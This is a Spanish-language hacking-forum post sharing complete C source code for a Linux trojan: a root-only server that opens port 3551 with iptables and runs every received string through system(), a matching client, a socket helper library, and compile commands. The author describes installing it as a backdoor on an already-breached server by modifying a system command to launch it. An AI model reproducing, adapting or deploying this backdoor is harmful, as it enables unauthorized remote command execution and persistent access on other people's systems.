[C] Lanzador de comandos remotos (GNU/Linux)

El usuario que posteo esto no tiene suficiente reputacion en el foro. Se aconseja tener precaución.
Buenas, he descubierto esta gran comunidad y quería arrancar colaborando un poco, hace poco codee desde cero un pequeño código en C para ejecutar comandos remotos, vamos, un troyanito simple de toda la vida (para sistemas GNU/Linux), es muy simple ya que ni siquiera podremos ver el stdout que reporte el comando ni tampoco podremos escribir en el stdin (por lo que los comandos deben finalizar sin intervención).

Está formado por un servidor (víctima) y un cliente (nosotros), el servidor básicamente hace lo siguiente:

1.- Compruebo si me estoy ejecutando como root, en caso contrario, salgo sin hacer nada, para evitar alertas.
2.- Si me ejecuto como root, abro un puerto con iptables y me pongo a escuchar por él.
3.- Si alguien se conecta, todo lo que reciba del cliente, lo ejecuto como una llamada al sistema, cuando el cliente escriba "exit" o se desconecte, el servidor vuelve a esperar que un cliente se conecte.

El cliente simplemente intenta conectarse a una ip y puerto específico, en caso de no dar error en la conexión ya podremos lanzar comandos remotos sobre la víctima.

El troyano está formado por cuatro ficheros, cliente.c (código del cliente), servidor.c (código del servidor), ss.c (librería sencilla hecha por mi para manjerar sockets fácilmente) y ss.h (el header de dicha librería).

cliente.c
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>  
#include <arpa/inet.h>
#include <unistd.h>
#include <strings.h>
#include <string.h>
#include "ss.h"

#define buf_max 1000
int limit;

void main(int argc, char *argv[]) {
	if(argc!=3) printf("USE: client address port\n");
	char buf[buf_max];
	if((client(argv[1], atoi(argv[2])))==1) {printf("Falló la conexión con el server\n"); exit(1);}
	else printf("Conectado al server %s %d\n PRECAUCIÓN,!No ejecutar ningún comando remoto que requiera intervención!\n", argv[1], atoi(argv[2]));
	while(fd) {
	printf(">>");
	fgets(buf, buf_max, stdin);
	if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]='\0';
	send(fd, buf, buf_max, 0);
	if((strcmp(buf, "exit"))==0) {close(fd); exit(0);}
}
	}
servidor.c
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>  
#include <arpa/inet.h>
#include <unistd.h>
#include <strings.h>
#include <string.h>
#include "ss.h"

#define buf_max 1000

int func_server();
char buf[buf_max];
int limit;

void main() {
	
	if(getuid()!=0) exit(0);
	
	system("iptables -A INPUT -p tcp --dport 3551 -j ACCEPT");
	while(1) func_server();
	}
int func_server() {
	server(3551);
	while(fd_client) {
		limit=recv(fd_client,buf,buf_max,0);
		if(buf[0]=='\0') break;
		strcat(buf, "&");
		buf[limit]='\0';
		if((strcmp(buf, "exit"))==0) break;
		system(buf);
		}
	close(fd_client);
	close(fd_server);
	return 0;
	}
ss.c (librería para sockets)
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>  
#include <arpa/inet.h>
#include <unistd.h>
#include <strings.h>
#include "ss.h"

int fd, fd_client, fd_server;

int client(char ip[25], int port)
{

   char buf[MAXDATASIZE];  

   struct hostent *he;         

   struct sockaddr_in server;  


   if ((he=gethostbyname(ip))==NULL){       

      return(1);
   }

   if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){  

      return(1);
   }

   server.sin_family = AF_INET;
   server.sin_port = htons(port); 

   server.sin_addr = *((struct in_addr *)he->h_addr);  

   bzero(&(server.sin_zero),8);

   if(connect(fd, (struct sockaddr *)&server,
      sizeof(struct sockaddr))==-1){ 

      return(1);
   }
   return(0);

}

int server(int port) {

   struct sockaddr_in server; 


   struct sockaddr_in client; 


   int sin_size;


   if ((fd_server=socket(AF_INET, SOCK_STREAM, 0)) == -1 ) {  
      return(1);
   }

   server.sin_family = AF_INET;         

   server.sin_port = htons(port); 

   server.sin_addr.s_addr = INADDR_ANY; 


   bzero(&(server.sin_zero),8); 




   if(bind(fd_server,(struct sockaddr*)&server,
           sizeof(struct sockaddr))==-1) {
      return(1);
   }     

   if(listen(fd_server,2) == -1) {  
      return(1);
   }

   sin_size=sizeof(struct sockaddr_in);

      if ((fd_client = accept(fd_server,(struct sockaddr *)&client,
                        &sin_size))==-1) {
        return(1);
      }
      return(0);
  }
ss.h (header de la librería)
#define MAXDATASIZE 100
extern int fd;
extern int fd_client;
extern int fd_server;   
int client(char[], int);
int server(int);
Para compilar el servidor, sería tan simple como:
gcc servidor.c ss.c -o servidor
Y el cliente idem de lo mismo:
gcc cliente.c ss.c -o cliente
Una vez que el servidor esté corriendo, simplemente habrá que usar el cliente con:
cliente ip puerto
Esto sería bastante práctico una vez que se haya violado la seguridad de un server y se tenga acceso a root, se puede instalar como puerta trasera con algún comando modíficado por nosotros para que ejecute el troyano servidor.

Saludos.
Dicen que el talento es algo innato, puede que sea cierto , pero riégalo a diario o habrá muerto.
muy interesante,gracias por tu aporte amigo.
CryptoSharex.com  | Aceptando donaciones..gracias: 1CiVFiGwCtf1kpASyQB9j8dhNyJs5AfaMX
Responder

Volver a “Troyanos y Herramientas”